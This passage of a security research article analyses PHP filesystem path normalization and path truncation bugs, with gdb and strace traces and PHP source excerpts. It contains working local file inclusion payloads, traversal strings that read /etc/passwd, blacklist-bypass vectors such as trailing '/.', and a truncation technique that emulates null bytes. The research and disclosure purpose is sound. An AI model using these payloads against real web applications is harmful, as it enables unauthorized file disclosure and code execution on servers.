VIII) POC and attack code<br />
IX)   Conclusions<br />
X)    References</p>
<p>I) Introduction</p>
<p>On Apr 07, 2008 I spoke with Kuza55 and Wisec about an attack I found some<br />
time before that was a new attack vector for filesystem functions (fopen,<br />
(include|require)[_once]?, file_(put|get)_contents, etc) for the PHP<br />
language. It was a path normalization issue and I asked them to keep it<br />
&#8220;secret&#8221; [4], this was a good idea cause my analisys was mostly<br />
incomplete and erroneous but the idea was good and the bug was real and<br />
disposable.</p>
<p>Later on Dec 24, 2008 on sla.ckers.org barbarianbob showed a path<br />
truncation attack against PHP that is partially based on mine attack.<br />
He discovered the bugs indipendently so he deserves full credits for<br />
them and his findings were dissected partially by Pragmatk on [2] and<br />
[3]. Sadly, or luckily, only the surface of these important issues has<br />
been analyzed and that&#8217;s why we at ush.it are releasing this article:<br />
to bring complete light on them and present some additional juice.</p>
<p>II) The bugs in 50 words</p>
<p>As previously indicated there are two different bugs, the first, the one<br />
that I discovered on April 2008 that can be used independently for some<br />
purposes and the second one, discovered by barbarianbob that uses the<br />
first one to archieve a better goal.</p>
<p>Let&#8217;s see the details.</p>
<p>- PHP filesystem functions path normalization attack</p>
<p>PHP normalizes / and /. in path names allowing for example<br />
/etc/passwd/ or /etc/passwd/. to be succesfully opened as a file.</p>
<p>- PHP filesystem functions path truncation attack</p>
<p>PHP has a path truncation issue (a badly implemented snprintf())<br />
allowing only MAX_PATH chars to be evaluated when actually opening a<br />
file or directory.</p>
<p>III) PHP filesystem functions path normalization attack</p>
<p>Normally one would expect that to open a file its path must be issued<br />
correctly:</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'include("/etc/passwd");' | head -n1<br />
root:x:0:0:root:/root:/bin/bash</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>While all of us are aware that some path normalizations are normal:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ cat /etc//passwd | head -n1<br />
root:x:0:0:root:/root:/bin/bash<br />
$ cat /etc/./passwd | head -n1<br />
root:x:0:0:root:/root:/bin/bash</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>PHP does far more than what we are likely to expect:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>php -r 'include("/etc/passwd/");'</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>As you can see the file is succesfully included (it works with every<br />
single filesystem function of PHP that makes use of _php_stream_fopen()<br />
and similiar functions).</p>
<p>This is also part of the vector discovered by barbarianbob, while he<br />
uses it for different purposes from what I initially thought.</p>
<p>But with vanilla PHP (the official source tree) it will not work and<br />
you'll get an error complaining about the fact that the target is not<br />
a directory. Why? Because barbarianbob, everybody who ran it succesfully,<br />
and me in my initial disclosure [4] were using a patched PHP (for example<br />
Suhosin, both loaded as .so or "build-in", Ubuntu PHP, that is patched<br />
with Suhosin, etc).</p>
<p>This is thanks to a deep and extensive testing and observation plus some<br />
code navigation and gdb magery with the help of evilaliv3 and Wisec.</p>
<p>To overcome this limitation we came out with the universal path<br />
normalization vector for PHP that is not a single "/" but "/.". Well<br />
this is the case in which a single char really changes things.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>php -r 'include("/etc/passwd/.");'</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>This doesn't happen under normal circumstances.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ cat /etc/passwd/.<br />
cat: /etc/passwd/.: Not a directory</p>
<p>$ cat /etc/passwd/<br />
cat: /etc/passwd/: Not a directory</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>We were already aware of the fact that these "neutral" chars could be<br />
repeated many times without affecting the result.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>php -r 'include("/etc/passwd//////");'<br />
php -r 'include("/etc/passwd/./././././.");'</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>To be perfectly clear I was not aware of the path truncation issue<br />
(damn!) and the use for this vulnerability was different in my mind.</p>
<p>If you read the discussion in [4] it was about checks. While ereg*()<br />
functions can be poisoned by nullbytes, preg_*() and string functions<br />
like substr() are binary safe.</p>
<p>So if there is a "blacklist" or negative check you can bypass it with<br />
path normalization:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc/passwd' |<br />
head -n1<br />
(doesn't work as expected)</p>
<p>$ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc//passwd'<br />
| head -n1<br />
root:x:0:0:root:/root:/bin/bash</p>
<p>$ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc///passwd'<br />
| head -n1<br />
root:x:0:0:root:/root:/bin/bash</p>
<p>$ php -r 'if($argv[1]!="/etc/passwd")include($argv[1]);' '/etc/./passwd'<br />
| head -n1<br />
root:x:0:0:root:/root:/bin/bash</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>But path normalization on PHP allows you to do something that cat(1)<br />
can't. To explain this a better example is needed, first let's see<br />
what would happen if only "classic" path normalization was possible:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);'<br />
'/etc/passwd' | head -n1<br />
(doesn't work as expected)</p>
<p>$ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);'<br />
'/etc//passwd' | head -n1<br />
(doesn't work as expected, cause it still ends in passwd)</p>
<p>$ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);'<br />
'/etc/./passwd' | head -n1<br />
(doesn't work as expected, cause it still ends in passwd)</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>A check like this can't be directly bypassed (it could be if the<br />
attacker was able to create a link to /etc/passwd for example) but the<br />
need of this level of access becomes useless using the trailing "/"<br />
or "/." attack vector that we are presenting:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'if(substr($argv[1], -6, 6)!="passwd")include($argv[1]);'<br />
'/etc/passwd/.' | head -n1<br />
root:x:0:0:root:/root:/bin/bash <- WORKS!</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Now that the usefulness of this path normalization issue, specific to<br />
PHP, is clear, it's time for a more concrete example: bypassing<br />
blacklist file extension checking.</p>
<p>The case is of a code equivalent to the following (for example an online<br />
file editor script).</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";'<br />
'ciccio.txt'<br />
ciccio.txt</p>
<p>$ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";'<br />
'ciccio.php'<br />
(doesn't work as expected because the extension is blacklisted)</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Instead, using our attack vector, the check is bypassed (and the filesystem<br />
function will normalize the path in a way that the attack will succeed):</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";'<br />
'ciccio.php/'<br />
ciccio.php/</p>
<p>$ php -r 'if(substr($argv[1], -4, 4)!=".php")echo($argv[1])."\n";'<br />
'ciccio.php/.'<br />
ciccio.php/.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Thanks to the discussion with kuza55, evilaliv3 and Wisec, 3 main uses<br />
of this attack vector were identified:</p>
<p>- Blacklist bypass on write functions (file editors, file writing, etc)<br />
- Blacklist bypass on read functions (source disclosure, etc)<br />
- Regular expressions and IDS/IPS signature evasion</p>
<p>The wrong assumption was that this behaviour was filesystem dependent,<br />
as said it turned out to be dependent on witch PHP version (patched VS<br />
non-patched) was installed.</p>
<p>Kuza55 also remembered that blacklist based editors and uploads can be<br />
evaded anyway by uploading ".php.xyz" files (thanks to the Apache<br />
mod_mime mapping feature [6] necessary for mod_negotiation's Multiviews)<br />
but that's another story.</p>
<p>IV) PHP filesystem functions path normalization attack details</p>
<p>>From first empirical tests we discovered that the universal path<br />
normalization is &#8220;/.&#8221;, these tests were lately expanded with deeper<br />
analysis of the PHP source code.</p>
<p>PHP defines some stream wrapper functions and makes them available for<br />
use by higher level functions like include, require, require_once,<br />
file_get_contents, fopen and others.</p>
<p>In this paper only include/require behaviours are going to be analyzed.</p>
<p>The code analysis started with a simple breakpoint on open calls:</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ gdb /usr/bin/php<br />
(gdb) break open<br />
Function "open" not defined.<br />
Make breakpoint pending on future shared library load? (y or [n]) y<br />
Breakpoint 1 (open) pending.<br />
(gdb) r -r '@include("/etc/passwd/.");'<br />
Starting program: /usr/bin/php -r '@include("/etc/passwd/.");'<br />
[..]<br />
[Switching to Thread 0xb7f2e6c0 (LWP 7264)]<br />
Breakpoint 1, 0x41606820 in open () from /lib/libpthread.so.0<br />
(gdb) bt<br />
#0  0x41606820 in open () from /lib/libpthread.so.0<br />
#1  0x082142c7 in _php_stream_fopen ()<br />
#2  0xbff4c8cc in ?? ()<br />
#3  0x09d20050 in ?? ()<br />
#4  0x0000003b in ?? ()<br />
#5  0x085e2504 in php_stream_stdio_ops ()<br />
#6  0x00000000 in ?? ()</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>_php_stream_fopen(), defined in main/plain_wrapper.c, was a good<br />
function to start the code analysis with as it was containing this<br />
interesting code:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>streams/plain_wrapper.c-893:    if ((realpath =<br />
expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>The attention was then directed to the expand_filepath() function,<br />
defined in main/fopen_wrappers.c, and finally to expand_filepath_ex(),<br />
defined in the same file, witch was also containing the snprintf cause<br />
of the path truncation that will be discussed in the next chapter.</p>
<p>After some raw (eg: printf+gdb) debug of expand_filepath_ex() the<br />
faulty function was finally identified: virtual_file_ex().</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>main/fopen_wrappers.c-656: if (virtual_file_ex(&#038;new_state, filepath,<br />
NULL, CWD_FILEPATH)) {<br />
main/fopen_wrappers.c-657:   free(new_state.cwd);<br />
main/fopen_wrappers.c-658:   return NULL;<br />
main/fopen_wrappers.c-659: }</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Yeah! virtual_file_ex() is the faulty function!</p>
<p>It's defined at line 482 of SRM/tsrm_virtual_cwd.c</p>
<p>Let's see where the error is.</p>
<p>The interesting part of the function is at line 619 of<br />
TSRM/tsrm_virtual_cwd.c</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>TSRM/tsrm_virtual_cwd.c-619: tok=NULL;<br />
TSRM/tsrm_virtual_cwd.c-620: ptr = tsrm_strtok_r(path_copy,<br />
TOKENIZER_STRING, &#038;tok);<br />
TSRM/tsrm_virtual_cwd.c-621: while (ptr) {<br />
TSRM/tsrm_virtual_cwd.c-622:  ptr_length = strlen(ptr);<br />
[..]<br />
TSRM/tsrm_virtual_cwd.c-624:  if (IS_DIRECTORY_UP(ptr, ptr_length)) {<br />
[..]<br />
TSRM/tsrm_virtual_cwd.c-651:  } else if (!IS_DIRECTORY_CURRENT(ptr,<br />
ptr_length)) {<br />
[..]<br />
TSRM/tsrm_virtual_cwd.c-717:  }<br />
TSRM/tsrm_virtual_cwd.c-718:  ptr = tsrm_strtok_r(NULL,<br />
TOKENIZER_STRING, &#038;tok);<br />
TSRM/tsrm_virtual_cwd.c-719: }</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>TOKENIZER_STRING, IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT are defined<br />
in other points in the source:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ grep "#define TOKENIZER" */* -n<br />
TSRM/tsrm_virtual_cwd.c-82:#define TOKENIZER_STRING "/\\"<br />
TSRM/tsrm_virtual_cwd.c-103:#define TOKENIZER_STRING "/\\"<br />
TSRM/tsrm_virtual_cwd.c-106:#define TOKENIZER_STRING "/"</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>The define at line 82 is for WIN32, the one at line 103 is for NETWARE,<br />
the last is for all the other systems.</p>
<p>The functions IS_DIRECTORY_UP and IS_DIRECTORY_CURRENT are defined as<br />
below.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ grep -P "#define (IS_DIRECTORY_UP *\(|IS_DIRECTORY_CURRENT *\()" */*<br />
-n -C2 | head -6<br />
TSRM/tsrm_virtual_cwd.c-91:#define IS_DIRECTORY_UP(element, len) \<br />
TSRM/tsrm_virtual_cwd.c-92:     (len >= 2 &#038;&#038; !php_check_dots(element, len))<br />
[..]<br />
TSRM/tsrm_virtual_cwd.c-94:#define IS_DIRECTORY_CURRENT(element, len) \<br />
TSRM/tsrm_virtual_cwd.c-95:     (len == 1 &#038;&#038; element[0] == &#8216;.&#8217;)</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Although the code is simple to understand, here are the reasons of the<br />
normalization error:</p>
<p>The if/else-if construct does not contemplate a failure of both cases<br />
and tsrm_strtok_r() will split the path at every "/".</p>
<p>Then it analyzes every splitted string, returning false for all the<br />
condition statements with the effect that at every "while" cycle all<br />
the checks are ignored.</p>
<p>This is why "./" is "neutral" and will not appear in the normalized<br />
path. The analysis for "/." is identical.</p>
<p>Now it remains to see why, using the Suhosin patch, a sequence of "/"<br />
becomes a working attack vector.</p>
<p>We have done our tests using suhosin-patch-5.2.8 [7].</p>
<p>In the patch, at line 34, there is a definition of a new php_realpath()<br />
function, and at line 1746, a "#define realpath php_realpath".</p>
<p>So the patch replaces the entire vanilla realpath() function with<br />
this own implementation.</p>
<p>This function, called by the virtual_file_ex() at line 561, does some<br />
checks on the path and returns a resolved path.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>TSRM/tsrm_virtual_cwd.c-561: if (!realpath(path, resolved_path)) {<br />
TSRM/tsrm_virtual_cwd.c-562:   if (use_realpath == CWD_REALPATH) {<br />
TSRM/tsrm_virtual_cwd.c-563:     return 1;<br />
TSRM/tsrm_virtual_cwd.c-564:   }<br />
TSRM/tsrm_virtual_cwd.c-565:   goto no_realpath;<br />
TSRM/tsrm_virtual_cwd.c-566: }</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Let's compare the behaviuor with and without Suhosin patch with the<br />
testcase:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'include("/etc/passwd/////////");'</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>With vanilla sources the function realpath() returns false and the code<br />
jumps to no_realpath using a goto statement: PHP will use the real path<br />
(just the path variable without any change) instead of the resolved path.</p>
<p>This means that "/etc/passwd////////////" will be used and the testcase<br />
will fail with:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Warning: include(/etc/passwd////////////): failed to open stream: Not a<br />
directory</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Instead, using Suhosin patched sources the function returns true, so it<br />
will use resolved_path of suhosin's realpath() function that will<br />
normalize the string to "/etc/passwd".</p>
<p>Suhosin chooses to remove trailing "/" and that's a dangerous error (it<br />
does not prevent the "/." vector from working and opens another hole).</p>
<p>V) PHP filesystem functions path truncation attack</p>
<p>The attack disclosed by barbarianbob is really amazing and makes a<br />
different use of the previously presented vector (path normalization).</p>
<p>He discovered in [1] that the path is "truncated" at a certain point.<br />
This is really amazing because it means that when including a filename<br />
longer than a certain length only the first part, the one that fits the<br />
buffer, will reach the real syscalls.</p>
<p>Why is this of help? Think of a code similiar to the following:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p><?php</p>
<p>// I'm a classic LFI (Local File Inclusion) vulnerabiltiy!<br />
include("includes/".$_GET['library'].".php");</p>
<p>?></p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>The attacker can control the central part of the included filename,<br />
since there is a fixed prefix RFI (Remote File Inclusion) cannot be<br />
performed (since it would require a protocol/uri handler to be<br />
provided to PHP plus the relatively new php.ini directives<br />
"allow_url_fopen" and "allow_url_include" on "On").</p>
<p>Commonly this can be exploited with a path traversal attack trying to<br />
include an attacker's controlled .php file (and this requires some sort<br />
of ability to control/create the target file, including its filename).</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>For example:</p>
<p>?library=../../../home/www.uploadsite_on_shared_hosting.tld/www/static/attack</p>
<p>Will evaluate to:</p>
<p>include("includes/../../../home/www.uploadsite_on_shared_hosting.tld/www/static/attack.php");</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>This is not a common situation, especially when doing LFI2RCE attacks<br />
as shown in [5] (Local File Inclusion to Remote Code Execution attacks<br />
are when a LFI can be automatically exploited into an RCE finding a way<br />
to put an attacker controlled payload on the target filesystem in an<br />
existing file, like a logfile, and then including it).</p>
<p>Normally to mount a succesfull LFI attack the attacker must control the<br />
end of the path, since filesystem functions in PHP normally are not<br />
binary safe a nullbyte can be used.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>For example:</p>
<p>?library=../../../var/log/something.log%00</p>
<p>Will evaluate to:</p>
<p>include("includes/".urldecode("../../../var/log/something.log%00").".php");</p>
<p>That is equivalent to:</p>
<p>include("includes/../../../var/log/something.log");</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>The common problem with this is that magic_quotes escape nullbytes as<br />
addslashes() is implicitly called on all GPC and SERVER inputs.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -r 'echo addslashes(chr(0));'<br />
\0</p>
<p>That evaluates to something like:</p>
<p>$ php -r 'echo<br />
("includes/".addslashes(urldecode("../../../var/log/something.log%00")).".php");'<br />
includes/../../../var/log/something.log\0.php</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>As a side note magic_quotes_gpc will be removed in the upcoming PHP 6<br />
release.</p>
<p>Now let's come back to the path truncation, what if there's the<br />
possibility to make the appended string slip out of the buffer?</p>
<p>This doesn't happen for the C language nullbyte string termination as<br />
incorrectly said in [2] and [3] but for the following code:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p># grep "snprintf(trypath, MAXPATHLEN, \"%s/%s\", ptr, filename);" * -R<br />
main/streams/plain_wrapper.c: snprintf(trypath, MAXPATHLEN, "%s/%s",<br />
ptr, filename);<br />
main/fopen_wrappers.c:        snprintf(trypath, MAXPATHLEN, "%s/%s",<br />
ptr, filename);</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>As you can see PHP, instead of raising an error silently, truncates the<br />
string to MAXPATHLEN chars.</p>
<p>The length at wich the path was truncated has been correctly<br />
investigated in [3] and the related code is the following:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>/main/php.h:</p>
<p>#ifndef MAXPATHLEN<br />
# ifdef PATH_MAX<br />
# define MAXPATHLEN PATH_MAX<br />
# elif defined(MAX_PATH)<br />
# define MAXPATHLEN MAX_PATH<br />
# else<br />
# define MAXPATHLEN 256<br />
# endif<br />
#endif</p>
<p>/win32/param.h</p>
<p>#ifndef MAXPATHLEN<br />
# define MAXPATHLEN _MAX_PATH<br />
#endif</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>And is 4k on most systems.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>strace -e open php -r<br />
'include("includes/".addslashes(urldecode("../../../tmp/something".str_repeat("foo_",<br />
1200)))."/append.php");'<br />
open("/usr/tmp/somethingfoo_foo_foo_foo_foo_foo_[OMIT]foo_foo_f",<br />
O_RDONLY) = -1 ENAMETOOLONG (File name too long)</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Will result in ENAMETOOLONG but this limitation of glibc can be overcame<br />
using directories.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>strace -e open -s 100000 php -r<br />
'include("includes/".addslashes(urldecode("../../../tmp/something".str_repeat("foo/",<br />
1200)))."/append.php");'<br />
open("/usr/tmp/somethingfoo/foo/foo/foo/foo/foo/[OMIT]foo/foo/f",<br />
O_RDONLY) = -1 ENOENT (No such file or directory)</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>This alone can't be helpful to mount an attack because somebody should<br />
be able to create a deeply nested directory structure and the offending<br />
file with an arbitrary filename at the end. An attacker with such<br />
ability could simply create a file that fits the initial needs of the<br />
appended string.</p>
<p>This is an example where the path normalization vector comes in help and<br />
can be combined with the path truncation issue to achieve a greater goal<br />
(nullbyte emulation on magic_quotes_gpc enabled systems).</p>
<p>The sled after the payload, containing the directory traversal path and<br />
the offending filename, must be one of the already seen path normalization<br />
attack verctors (eg: "/" or "/." repeated many times). Doing something<br />
is like filling the buffer until MAXPATHLEN of something that will<br />
disappear before the actual open() syscall.</p>
<p>Slashes normalization happens on PHP vanilla; here they count as chars<br />
in the<br />
truncation code but are still normalized to a single / causing the<br />
ENOTDIR error.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ strace -e open php -r<br />
'include("a/../../../../tmp/teest".str_repeat("//",<br />
2027)."append.inc");' 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest/ap&#8221;, O_RDONLY)         = -1 ENOTDIR (Not a directory)<br />
open(&#8220;/tmp/teest/app&#8221;, O_RDONLY)        = -1 ENOTDIR (Not a directory)</p>
<p>$ strace -e open php -r<br />
&#8216;include(&#8220;a/../../../../tmp/teest&#8221;.str_repeat(&#8220;//&#8221;,<br />
2027).&#8221;/append.inc&#8221;);&#8217; 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest/a&#8221;, O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
open(&#8220;/tmp/teest/ap&#8221;, O_RDONLY)         = -1 ENOTDIR (Not a directory)</p>
<p>$ strace -e open php -r<br />
&#8216;include(&#8220;a/../../../../tmp/teest&#8221;.str_repeat(&#8220;//&#8221;,<br />
2027).&#8221;//append.inc&#8221;);&#8217; 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest/&#8221;, O_RDONLY)           = -1 ENOTDIR (Not a directory)<br />
open(&#8220;/tmp/teest/a&#8221;, O_RDONLY)          = -1 ENOTDIR (Not a directory)</p>
<p>$ strace -e open php -r<br />
&#8216;include(&#8220;a/../../../../tmp/teest&#8221;.str_repeat(&#8220;//&#8221;,<br />
2027).&#8221;///append.inc&#8221;);&#8217; 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest/&#8221;, O_RDONLY)           = -1 ENOTDIR (Not a directory)<br />
open(&#8220;/tmp/teest/&#8221;, O_RDONLY)           = -1 ENOTDIR (Not a directory)</p>
<p>$ strace -e open php -r<br />
&#8216;include(&#8220;a/../../../../tmp/teest&#8221;.str_repeat(&#8220;//&#8221;,<br />
2027).&#8221;////append.inc&#8221;);&#8217; 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest/&#8221;, O_RDONLY)           = -1 ENOTDIR (Not a directory)<br />
open(&#8220;/tmp/teest/&#8221;, O_RDONLY)           = -1 ENOTDIR (Not a directory)</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Instead /. normalization is transparent and no char is appended to the<br />
resulting path.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ strace -e open php -r<br />
'include("a/../../../../tmp/teest".str_repeat("/.",<br />
2027)."append.inc");' 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest/.ap&#8221;, O_RDONLY)        = -1 ENOTDIR (Not a directory)<br />
open(&#8220;/tmp/teest/.app&#8221;, O_RDONLY)       = -1 ENOTDIR (Not a directory)</p>
<p>$ strace -e open php -r<br />
&#8216;include(&#8220;a/../../../../tmp/teest&#8221;.str_repeat(&#8220;/.&#8221;,<br />
2027).&#8221;/append.inc&#8221;);&#8217; 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest/a&#8221;, O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
open(&#8220;/tmp/teest/ap&#8221;, O_RDONLY)         = -1 ENOTDIR (Not a directory)</p>
<p>$ strace -e open php -r<br />
&#8216;include(&#8220;a/../../../../tmp/teest&#8221;.str_repeat(&#8220;/.&#8221;,<br />
2027).&#8221;/.append.inc&#8221;);&#8217; 2>&#038;1 | grep &#8220;^open(\&#8221;/tmp&#8221;<br />
open(&#8220;/tmp/teest&#8221;, O_RDONLY)            = 3<br />
(it works, bingo!)</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Remember that:</p>
<p>- On vanilla PHP versions the last char of the path must be a dot for<br />
  the reasons explained above.</p>
<p>- On patched PHP versions adjacent slashes are normalized in a different<br />
  way and they work as the universal "/." path normalization vector.</p>
<p>VI) PHP filesystem functions path truncation attack details</p>
<p>Some of you may have noted that there are two open() calls<br />
("/tmp/teest/a" and "/tmp/teest/ap") that show different arithmetic<br />
calculations (one has only one char of the appended string, the other<br />
two chars).</p>
<p>Others may also ask why a relative path, that starts with a directory<br />
that doesn't exist, really works.</p>
<p>This is because of the many (evil) normalization instructions and<br />
routines implemented in PHP in conjunction with a feature: include_path.</p>
<p>include_path is a feature of PHP similar to the PATH on unix systems,<br />
when an include, include_once, require or require_once call is made if<br />
the file is relative (eg: doesn't begin with a slash or a drive letter<br />
on Windows) a lookup will happen in every path defined in include_path.</p>
<p>include_path is defined both at ./configure time and in the php.ini or<br />
at runtime with ini_set("include_path" ..) and defaults to ".:".</p>
<p>Most distributions and vendors dispach PHP with different settings.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>(on Gentoo)<br />
